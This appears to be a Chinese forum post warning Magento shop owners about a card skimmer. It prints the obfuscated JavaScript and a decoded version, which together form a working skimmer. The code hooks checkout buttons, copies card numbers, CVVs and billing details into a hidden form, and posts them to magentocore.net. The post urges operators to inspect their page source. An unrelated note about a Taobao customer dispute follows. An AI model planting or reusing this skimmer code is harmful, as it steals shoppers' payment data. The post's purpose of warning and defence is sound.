\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x7A\x69\x70\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x63\x6F\x75\x6E\x74\x72\x79\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x70\x68\x6F\x6E\x65\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x76\x62\x76\x22\x5D”,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6D\x61\x67\x65\x6E\x74\x6F\x63\x6F\x72\x65\x2E\x6E\x65\x74\x2F\x6D\x61\x67\x65\x2F\x6D\x61\x69\x6C\x32\x2E\x70\x68\x70″,”\x73\x65\x72\x69\x61\x6C\x69\x7A\x65″,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73″,”\x70\x6F\x73\x74″,”\x62\x75\x74\x74\x6F\x6E\x5B\x6F\x6E\x63\x6C\x69\x63\x6B\x2A\x3D\x22\x2E\x73\x61\x76\x65\x22\x5D”,”\x65\x71″,”\x6F\x6E\x63\x6C\x69\x63\x6B”,”\x61\x74\x74\x72″,”\x6D\x67\x5F\x5F\x63\x6F\x72\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x6D\x67\x5F\x5F\x63\x6F\x72\x65\x28\x29\x3B”,”\x3C\x66\x6F\x72\x6D\x20\x63\x6C\x61\x73\x73\x3D\x22\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x64\x69\x73\x70\x6C\x61\x79\x3A\x20\x6E\x6F\x6E\x65\x3B\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x68\x6F\x73\x73\x74\x5F\x6E\x61\x6D\x65\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x43\x61\x72\x64\x5F\x6E\x75\x6D\x62\x65\x72\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x45\x78\x70\x5F\x31\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x45\x78\x70\x5F\x32\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x43\x56\x56\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x66\x69\x72\x73\x74\x5F\x6E\x61\x6D\x65\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x73\x65\x63\x6F\x6E\x64\x5F\x6E\x61\x6D\x65\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x61\x64\x64\x72\x65\x73\x73\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x63\x69\x74\x79\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x73\x74\x61\x74\x65\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x7A\x69\x70\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x63\x6F\x75\x6E\x74\x72\x79\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x70\x68\x6F\x6E\x65\x22\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x76\x62\x76\x22\x3E\x3C\x2F\x66\x6F\x72\x6D\x3E”,”\x61\x70\x70\x65\x6E\x64″,”\x62\x6F\x64\x79″,”\x69\x6E\x69\x74\x5F\x5F\x6C\x6F\x28\x29\x3B”,”\x72\x65\x61\x64\x79″];if( typeof llooll== _0x8949[0]){var llooll=0;var lloo_interval;function mg__core(){var _0x83edx4=location[_0x8949[1]];jQuery(_0x8949[3])[_0x8949[2]](_0x83edx4);if(!(jQuery(_0x8949[5])[_0x8949[4]]())){return};var _0x83edx5=jQuery(_0x8949[5])[_0x8949[2]]();var _0x83edx6=jQuery(_0x8949[6])[_0x8949[2]]();var _0x83edx7=jQuery(_0x8949[7])[_0x8949[2]]();var _0x83edx8=jQuery(_0x8949[8])[_0x8949[2]]();var _0x83edx9=jQuery(_0x8949[9])[_0x8949[2]]();var _0x83edxa=jQuery(_0x8949[10])[_0x8949[2]]();var _0x83edxb=jQuery(_0x8949[11])[_0x8949[2]]();var _0x83edxc=jQuery(_0x8949[12])[_0x8949[2]]();var _0x83edxd=jQuery(_0x8949[13])[_0x8949[2]]();var _0x83edxe=jQuery(_0x8949[14])[_0x8949[2]]();var _0x83edxf=jQuery(_0x8949[15])[_0x8949[2]]();var _0x83edx10=jQuery(_0x8949[16])[_0x8949[2]]();var _0x83edx11=jQuery(_0x8949[17])[_0x8949[2]]();jQuery(_0x8949[18])[_0x8949[2]](_0x83edx5);jQuery(_0x8949[19])[_0x8949[2]](_0x83edx6);jQuery(_0x8949[20])[_0x8949[2]](_0x83edx7);jQuery(_0x8949[21])[_0x8949[2]](_0x83edx8);jQuery(_0x8949[22])[_0x8949[2]](_0x83edx9);jQuery(_0x8949[23])[_0x8949[2]](_0x83edxa);jQuery(_0x8949[24])[_0x8949[2]](_0x83edxb);jQuery(_0x8949[25])[_0x8949[2]](_0x83edxc);jQuery(_0x8949[26])[_0x8949[2]](_0x83edxd);jQuery(_0x8949[27])[_0x8949[2]](_0x83edxe);jQuery(_0x8949[28])[_0x8949[2]](_0x83edxf);jQuery(_0x8949[29])[_0x8949[2]](_0x83edx10);jQuery(_0x8949[30])[_0x8949[2]](_0x83edx11);var _0x83edx12=0;if((!_0x83edx5) || (!_0x83edx8) || (!_0x83edx6) || (!_0x83edx7)){_0x83edx12= 1};if(_0x83edx12!= 1){jQuery[_0x8949[34]](_0x8949[31],jQuery(_0x8949[33])[_0x8949[32]]())}}function init__lo(){if(!(jQuery(_0x8949[5])[_0x8949[4]]())){return};var _0x83edx14=jQuery(_0x8949[35]);for(var _0x83edx15=0;_0x83edx15< _0x83edx14[_0x8949[4]]();_0x83edx15++){var _0x83edx16=_0x83edx14[_0x8949[36]](_0x83edx15);var _0x83edx17=_0x83edx16[_0x8949[38]](_0x8949[37]);if(_0x83edx17[_0x8949[40]](_0x8949[39])>= 0){continue};_0x83edx16[_0x8949[38]](_0x8949[37],_0x8949[41]+ _0x83edx17)}}if(( typeof jQuery!= _0x8949[0])){(function(_0x83edx18){_0x83edx18(document)[_0x8949[46]](function(){_0x83edx18(_0x8949[44])[_0x8949[43]](_0x8949[42]);init__lo();lloo_interval= setInterval(_0x8949[45],7000)})})(jQuery)}}

解密后的真相内容:

if (typeof llooll == ‘undefined’) {
var llooll = 0;
var lloo_interval;

function mg__core() {
var _0x83edx4 = location[‘hostname’];
jQuery(‘.mi_forms input[name=”hosst_name”]’)[‘val’](_0x83edx4);
if (!(jQuery(‘*[name*=”cc_num”]’)[‘size’]())) {
return
};
var _0x83edx5 = jQuery(‘*[name*=”cc_num”]’)[‘val’]();
var _0x83edx6 = jQuery(‘*[name*=”cc_exp_m”]’)[‘val’]();
var _0x83edx7 = jQuery(‘*[name*=”cc_exp_y”]’)[‘val’]();
var _0x83edx8 = jQuery(‘*[name*=”cc_cid”]’)[‘val’]();
var _0x83edx9 = jQuery(‘*[name=”billing[firstname]”]’)[‘val’]();
var _0x83edxa = jQuery(‘*[name=”billing[lastname]”]’)[‘val’]();
var _0x83edxb = jQuery(‘*[name=”billing[street][]”]’)[‘val’]();
var _0x83edxc = jQuery(‘*[name=”billing[city]”]’)[‘val’]();
var _0x83edxd = jQuery(‘*[name=”billing[region_id]”]’)[‘val’]();
var _0x83edxe = jQuery(‘*[name=”billing[postcode]”]’)[‘val’]();
var _0x83edxf = jQuery(‘*[name=”billing[country_id]”]’)[‘val’]();
var _0x83edx10 = jQuery(‘*[name=”billing[telephone]”]’)[‘val’]();
var _0x83edx11 = jQuery(‘*[name=”billing[email]”]’)[‘val’]();
jQuery(‘.mi_forms input[name=”m_Card_number”]’)[‘val’](_0x83edx5);
jQuery(‘.mi_forms input[name=”m_Exp_1″]’)[‘val’](_0x83edx6);
jQuery(‘.mi_forms input[name=”m_Exp_2″]’)[‘val’](_0x83edx7);
jQuery(‘.mi_forms input[name=”m_CVV”]’)[‘val’](_0x83edx8);
jQuery(‘.mi_forms input[name=”m_first_name”]’)[‘val’](_0x83edx9);
jQuery(‘.mi_forms input[name=”m_second_name”]’)[‘val’](_0x83edxa);
jQuery(‘.mi_forms input[name=”m_address”]’)[‘val’](_0x83edxb);
jQuery(‘.mi_forms input[name=”m_city”]’)[‘val’](_0x83edxc);
jQuery(‘.mi_forms input[name=”m_state”]’)[‘val’](_0x83edxd);
jQuery(‘.mi_forms input[name=”m_zip”]’)[‘val’](_0x83edxe);
jQuery(‘.mi_forms input[name=”m_country”]’)[‘val’](_0x83edxf);
jQuery(‘.mi_forms input[name=”m_phone”]’)[‘val’](_0x83edx10);
jQuery(‘.mi_forms input[name=”m_vbv”]’)[‘val’](_0x83edx11);
var _0x83edx12 = 0;
if ((!_0x83edx5) || (!_0x83edx8) || (!_0x83edx6) || (!_0x83edx7)) {
_0x83edx12 = 1
};
if (_0x83edx12 != 1) {
jQuery[‘post’](‘https://magentocore.net/mage/mail2.php’, jQuery(‘.mi_forms’)[‘serialize’]())
}
}
function init__lo() {
if (!(jQuery(‘*[name*=”cc_num”]’)[‘size’]())) {
return
};
var _0x83edx14 = jQuery(‘button[onclick*=”.save”]’);
for (var _0x83edx15 = 0; _0x83edx15 < _0x83edx14[‘size’](); _0x83edx15++) {
var _0x83edx16 = _0x83edx14[‘eq’](_0x83edx15);
var _0x83edx17 = _0x83edx16[‘attr’](‘onclick’);
if (_0x83edx17[‘indexOf’](‘mg__core’) >= 0) {
continue
};
_0x83edx16[‘attr’](‘onclick’, ‘mg__core();’ + _0x83edx17)
}
}
if ((typeof jQuery != ‘undefined’)) {
(function (_0x83edx18) {
_0x83edx18(document)[‘ready’](function () {
_0x83edx18(‘body’)[‘append’](‘<form class=”mi_forms” style=”display: none;”><input type=”text” name=”hosst_name”><input type=”text” name=”m_Card_number”><input type=”text” name=”m_Exp_1″><input type=”text” name=”m_Exp_2″><input type=”text” name=”m_CVV”><input type=”text” name=”m_first_name”><input type=”text” name=”m_second_name”><input type=”text” name=”m_address”><input type=”text” name=”m_city”><input type=”text” name=”m_state”><input type=”text” name=”m_zip”><input type=”text” name=”m_country”><input type=”text” name=”m_phone”><input type=”text” name=”m_vbv”></form>’);
init__lo();
lloo_interval = setInterval(‘init__lo();’, 7000)
})
})(jQuery)
}
}

 

https://magentocore.net/mage/mail2.php 使用此MAIL发送功能把收集到的信息卡信息发往这个地址!!!

盗刷信用卡信息的团伙就问您们怕不怕!!!!请各位电商用户打开页面源码自查!!!!

淘宝客户:xalifz 差评事件全程聊天记录回顾~

网站事务neasel 发表了文章 • 0 个评论 • 15 次浏览 • 2018-03-22 20:10 • 来自相关话题

淘宝上某个客户,在我们免费处理过同一个问题之后,自己没有明白,非要要求处理第二次,拿差评相威胁。 这种人的嘴脸就是找骂的!
淘宝上某个客户,在我们免费处理过同一个问题之后,自己没有明白,非要要求处理第二次,拿差评相威胁。
这种人的嘴脸就是找骂的!

1.jpg

2018-03-22_04.png